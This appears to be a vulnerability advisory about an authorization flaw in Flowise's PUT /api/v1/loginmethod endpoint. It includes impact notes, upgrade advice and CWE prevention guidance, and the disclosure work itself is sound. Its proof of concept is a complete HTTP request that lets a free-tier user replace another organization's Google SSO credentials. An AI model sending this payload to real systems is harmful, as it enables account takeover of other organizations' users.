Description

Summary

The Flowise platform has a critical Insecure Direct Object Reference (IDOR) vulnerability combined with a Business Logic Flaw in the PUT /api/v1/loginmethod endpoint.

While the endpoint requires authentication, it fails to validate if the authenticated user has ownership or administrative rights over the target organizationId. This allows any low-privileged user (including "Free" plan users) to:

  1. Overwrite the SSO configuration of any other organization.
  2. Enable "Enterprise-only" features (SSO/SAML) without a license.
  3. Perform Account Takeover by redirecting the authentication flow.

Details

The backend accepts the organizationId parameter from the JSON body and updates the database record corresponding to that ID. There is no middleware or logic check to ensure request.user.organizationId === body.organizationId.

PoC

Prerequisites:

  1. The attacker creates a standard "Free" account and obtains a valid JWT token (Cookie/Header).
  2. The attacker identifies the target organizationId (e.g., bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d).

Step-by-Step Exploitation: The attacker sends the following PUT request to overwrite the victim's Google SSO configuration.

Request:

PUT /api/v1/loginmethod HTTP/2
Host: cloud.flowiseai.com
Cookie: token=<ATTACKER_JWT_TOKEN>
Content-Type: application/json
Accept: application/json

{
  "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d",
  "userId": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2", 
  "providers": [
    {
      "providerLabel": "Google",
      "providerName": "google",
      "config": {
        "clientID": "ATTACKER_MALICIOUS_CLIENT_ID",
        "clientSecret": "ATTACKER_MALICIOUS_SECRET"
      },
      "status": "enable"
    }
  ]
}

Response: The server responds with 200 OK, confirming the modification has been applied to the victim's organization context.

{
  "status": "OK",
  "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d"
}

Impact

  • Account Takeover: An attacker can replace a victim organization's legitimate OAuth credentials (e.g., Google Client ID) with their own malicious application credentials. When victim employees try to log in via SSO, they are authenticated against the attacker's application, potentially allowing the attacker to hijack sessions or steal credentials.
  • License Control Bypass: Users on the "Free" tier can illicitly enable and configure SSO providers (Azure, Okta, etc.), which are features strictly restricted to the "Enterprise" plan.

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

Weakness

CWE-639: Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

How to prevent it
  • Architecture and Design: For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
  • Architecture and Design, Implementation: Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
  • Architecture and Design: Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

CWE-862: Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
